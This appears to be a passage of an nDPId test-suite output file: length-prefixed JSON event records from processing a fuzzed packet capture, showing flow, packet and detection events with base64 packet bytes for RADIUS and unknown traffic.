fIEAROShoRAABXyBELTHluZGh1cnN0GgwAAFfIEgYAAADJGhcAAFfIHRFWWlcgQzIgVGXGdCBMYWIaCwAAV8glBVZ6Vxp3AAA4IQ4HMDcwNzEaDAAAOCERBgAAAAAaFQAAOCESD0ludmFsaWQgVmFsdWUaHQAAOCETFzQwLjgwNDg4Mk4tNzQuMTAyODM5eBoMAAA4IRQGAAABAhoMAAA4IRUGAAAAAhoVAAA4IRYPU3RhZGl1bURpcmVjdBoMAAAFgwcGwFBKmVASdNdxL4DyCHN8UpXdyQsAbg=="} +00171{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":35,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","type":2050} +00590{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":38,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528996736,"pkt_ts_usec":804095,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":206,"pkt_l4_len":0,"pkt":"ABRP+4rqcNuYVcUnCABFAADA+HNBAPwRW3fG4hk1CgxAHgcUchAArIw9AxwApBZ8i1l5y5I6R7UN7fbGLQ0BNTAzMTE0ODAwNzEzOTQzMDRAd2xhbi5tbmM0ODAubWNjMzExLhNncHBuZXR3b3JrLm9yZywgNWIyMmEzN2PpYjA6OWY6YmE6NGE6MGU6N2UvMjEzEiIzMjc2NCBTdWJzY3JpYmVyJWlvdCBwcm92aXNpb25lZE8HBAEABwBQEhu6bMXdvKMo\/pphwZK5oRM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":38,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":172} +00506{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":43,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1528996733156,"flow_last_seen":0,"flow_tot_l4_data_len":117,"flow_min_l4_data_len":117,"flow_max_l4_data_len":117,"flow_avg_l4_data_len":117,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":309,"dst_port":12339,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00492{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":43,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1528996733156,"flow_last_seen":0,"flow_tot_l4_data_len":117,"flow_min_l4_data_len":117,"flow_max_l4_data_len":117,"flow_avg_l4_data_len":117,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":309,"dst_port":12339,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00761{"flow_id":5,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528996825,"pkt_ts_usec":583794,"pkt_caplen":305,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":305,"pkt_l4_len":271,"pkt":"AAAMB6xAABRP+4rqCABFAAEjINtAAP8RAAAKDEAexuIZNXIQBxUBDwAABB8BBzWIo5zi+WF\/SUvYePTRu6oBEzAyLTA4LWVjLWJiLWJiLWJVBQYAAAABBAbY6pSHCAYKQABAIBBWZXJpem9uUHJlUHJvZBoMAAA3YwEGAAAAASwhNWIyMjljYVovMDI6MDg6ZWM6YmI6YmI6YmIvMlYzM31OAAAAEy0GAAAAAzcGWyKj2SgGAAAAAioGBPtwQzQGAAAAACsGAboEJTUGAAAAAC8GAAoJnjAGAAIn3DEGAABMAS4GAAIHOSlUAAAAAB8TMDItMDgtZWMtYmItYmItYmIeJDcwLTdkLWI5LWFkLTVkLTYwOnZlcml6b25ndWVzdHdpZmkaDAAABYMHBsAf3qs="} +00687{"flow_id":5,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528996832,"pkt_ts_usec":79336,"pkt_caplen":251,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":251,"pkt_l4_len":217,"pkt":"AAAMB6xAABRP+4rqCABFAADtINxAAP8RAAAKDEAexuIZNXIQBxUA2QAABCAA0XhHQDWMoVost5kNJ4VLqq8BEzAyLTA4LWVjLWJiLWJiLWJiBQYAAAABBAbY6pSHCAYKQABAIBBWZXJpem9uUHJlUHJvZBoMAAA3YwEGAAAAASwhNWIyMmEzZGYvMDI6MDg6ZWM6YmI6YmI6YmIvMjYWND0GAAAAEy0GAAAAAzcGWyKj3ygGAAAAAR8TMDItMDgtZWMtYmItYmItYmIOJDcwLTdkLWI5LWFkLTVkLTYwOnZlcml6b25ndWVzU3dpZmkaDAAABYMHBsAf3qs="} +00499{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":45,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1528996990566,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"170.170.170.170","dst_ip":"170.170.170.170","src_port":43690,"dst_port":43690,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01349{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":45,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528996990,"pkt_ts_usec":566774,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":745,"pkt_l4_len":711,"pkt":"AAAMB6xAABRP+4rqCABFAALbIN1AAP8Rqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00492{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":46,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1528996990648,"flow_last_seen":0,"flow_tot_l4_data_len":113,"flow_min_l4_data_len":113,"flow_max_l4_data_len":113,"flow_avg_l4_data_len":113,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1813,"dst_port":29264,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00549{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":46,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528996990,"pkt_ts_usec":648296,"pkt_caplen":147,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":147,"pkt_l4_len":113,"pkt":"ABRP+4rqcNuYVcUnCABFAACFzqFAAPwRhYTG4hk1CgxAHgcVclAAcSboBSEAaT3FxpV5xYvpMtB7xhdyjsUBNTAzMTE0ODAwNzM2MzgwNzJAd2xhOS5tbmNwODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgJWIyMmEzMWMvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjEx"} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":46,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1528996990648,"flow_last_seen":0,"flow_tot_l4_data_len":113,"flow_min_l4_data_len":113,"flow_max_l4_data_len":113,"flow_avg_l4_data_len":113,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1813,"dst_port":29264,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00736{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":50,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528996997,"pkt_ts_usec":52254,"pkt_caplen":318,"pkt_type":9472,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":318,"pkt_l4_len":0,"pkt":"ABRP+4rqcNuYVcUnJQBFAAE4+6JAAPwRV9jG4hk1Cgyqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} +00171{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":50,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","type":9472} +00493{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":51,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1528996990648,"flow_last_seen":0,"flow_tot_l4_data_len":113,"flow_min_l4_data_len":113,"flow_max_l4_data_len":113,"flow_avg_l4_data_len":113,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1813,"dst_port":29264,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00514{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":51,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1528996990566,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"170.170.170.170","dst_ip":"170.170.170.170","src_port":43690,"dst_port":43690,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00500{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":51,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1528996990566,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"170.170.170.170","dst_ip":"170.170.170.170","src_port":43690,"dst_port":43690,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00636{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":52,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997003,"pkt_ts_usec":303171,"pkt_caplen":239,"pkt_type":2050,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":239,"pkt_l4_len":0,"pkt":"ABRP+4rqcNuYVcUnCAJFAADh+7RAAPwRWBXG4hk1CgxAHgcUchAAzbxOCyQAxZ9vEHep5UhYAk0ZSBfGW2ABNTAzMTE0ODAwcjM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE0ODQvZjA6Nzk6NjA6ZDE6N2Q6MjcvMjE1WEoBAgBIFwEAAAEFAAD\/dHhHt8FXBaLd\/Dz8eGsAAgUAALtgmvoL3QAA9ON0yrW1Z\/uLAQACCwUAACkdfnJp8UtH8QraekvpDSFQErTrf98odpcx7aFbGWQ5MZk="} +00171{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":52,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","type":2050} +00739{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":58,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997012,"pkt_ts_usec":338586,"pkt_caplen":318,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":318,"pkt_l4_len":0,"pkt":"ABRP+4rqcNuYVcUnCABFAIEw++ZAAPwRV5TG4hk1CgxAHgcUchABHA0JAicBFBsdKAWbpXDSR2MuOEvDRI4aCwAAV8gbBVNQQxpuAAABNxA0owm4HCG6PU2XNAkv\/vzDOB0KCSSyhii6vunR59O76CIKGOYjAfl7PUhdXq\/+IyUA1AERNOgzhBq9cBFTORk8iq5zOGawlRK5SmrzC9CE14BmLSTx9+rzUr5gcK7nljeTYDH3Q7JtAU4wMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNCUALm12YzMxMS4zZ3BwbmV0d29yay5vcmcsIDViMjJhNDg0L2YwOjc5OjYwOmQxOjdkOjM3LzIxNVkMOTA4NDIxMzI5MhIJU3VjY2VzcxkFU1BDTwYDAgAEUBJln13lrCrLxGDT3fIxBMmg"} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":58,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":284} +01309{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":63,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997023,"pkt_ts_usec":243075,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":745,"pkt_l4_len":0,"pkt":"AAAMB6xAABRP+4rqCAAHAALbIOZAAP8RAAAKDEAexuIZNXIQBxQC1gAAASoCn1lLG5tNeGgoWBAiZw18BtkaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICVZXSVNQUjEwGgkAADghDQMyNwZbIqSfATUwMzExNDgwMjgxNTAxNTg5QHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR+qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00166{"basic_event_id":2,"basic_event_name":"Unknown L3 protocol","thread_id":0,"packet_id":63,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","protocol":2048} +00492{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":66,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1528997023501,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":0,"l3_proto":"ip4","src_ip":"198.162.25.53","dst_ip":"10.12.64.30","src_port":1810,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00630{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":66,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997023,"pkt_ts_usec":501287,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"ABRP+4rqcNuYVcUnCABFAADA\/A1AAPwRV93Gohk1CgxAHgcSchAArGNDAysApImnbffn85ODhNvEVYWJb4QBNTAzMTE0ODAyODE1MDE1ODlAd2xhbi5HbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE0OWYvZTA6NWY6NLU6ODA6MDk6NWYvMjE2EiIzMuQ2NCBTdWJzY3JpYmVyIG5vdCBw8m92aXNpb25lZE8HBAEABwBQEhVAqRdhR287TKPkS7q+CkU="} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":66,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1528997023501,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":0,"l3_proto":"ip4","src_ip":"198.162.25.53","dst_ip":"10.12.64.30","src_port":1810,"dst_port":29200,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00493{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":67,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1528997023501,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":0,"l3_proto":"ip4","src_ip":"198.162.25.53","dst_ip":"10.12.64.30","src_port":1810,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01311{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":71,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997037,"pkt_ts_usec":997389,"pkt_caplen":745,"pkt_type":19456,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":745,"pkt_l4_len":0,"pkt":"AAAMB6xAABRP+4rqTABFAALbIOpAAP8RAAC2DEAexuIZNXIQBxQCxwAAAS4Cv3+VaWYldnjLTxY8VfGmtUsaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQMzNwZbIqStATUwMzExNDh\/MjgxNTAxNTg5QHdsYW4ubW5jNDgwLm0jYzMxMS4zZ3Bwbm10d29yay5vcmdZAxB+CDVjaXNjb4MGAAAAAR8TZTAtNWYtNDUtOTAtMDktNWYeJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwYmE5ZmE0MjI1YiwgNWIyMmE0OWYvZTA6NWY6NDU6OTA6MDk6NWYvMjE2BAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TzoCAQA4ATAzMTE0ODBtODE1MDE1ODlAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZxoUAABXyAcOVlpXQzJUZXPTTGFiGgoAAFfICARFVBoQAABXyAoKU3RhbmRhcmQaEAAAV8gLClRlc3QgTGFiGgkAAKLIDwMxGgoAAFfIEAROShoRAABXyBELTHluamh1cnN0GgwAAFfIEgYAAADJGhcAAFfIHRFWWlcgQzIgVGVzdCBMYWIaCwAAV8glBVZ6VxoNAAA4IQ4HMDcwNzEaDAAAOCERBgAAAAAaFQAAOCESD0ludmFsaWQgVmFsdWWqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00172{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":71,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","type":19456} +00492{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":76,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1528997046661,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"74.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00595{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":76,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997046,"pkt_ts_usec":661252,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"ABRP+4rqcNuYVcUnCABFAACl\/GdAAPwRV57G4hk1SgxAHgcUchAAkRD9CzAAiXzLxBwubl1wwfS6AWnHLCcBNTAzMTE0ODAyODE1MDE1ODlAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE0OWYvZTA6NWY6NCU6OTA6MDk6NWYvMjE2Tw4BAAAMFwwAAAwBf\/xQEsknsuWEL1cn0K6nAa77dv0="} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":76,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1528997046661,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"74.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00492{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":77,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1528997046798,"flow_last_seen":0,"flow_tot_l4_data_len":663,"flow_min_l4_data_len":663,"flow_max_l4_data_len":663,"flow_avg_l4_data_len":663,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.77.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01286{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":77,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528997046,"pkt_ts_usec":798388,"pkt_caplen":697,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":697,"pkt_l4_len":663,"pkt":"AAAMB6xAABRP+4rqCABFAAKrIO1AAP8RAAAKDEAexuJNNXIQBxQClwAAATECjwe2IRDkqP0tMlR6xA\/iWasaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgsAADghDQM0NwZbIqS2ATUwMzExNDgwMjgxNTAxNTg5QHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZTAtJQAtNDUtOTAtMDktNWYeJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxn2FjMDAwMDAwYmE5ZmE0MjI1YiwgNWIyMmE0OWYvZTA6NWY6NDU6OTA6MDk6NWYvMjE2BAbsFAEQIA5WWldDOlRlc3RMSWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TwoCAAAIFwwAMRoUAABXyAcOVqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":77,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1528997046798,"flow_last_seen":0,"flow_tot_l4_data_len":663,"flow_min_l4_data_len":663,"flow_max_l4_data_len":663,"flow_avg_l4_data_len":663,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.77.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00492{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":79,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1528997050187,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.62","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 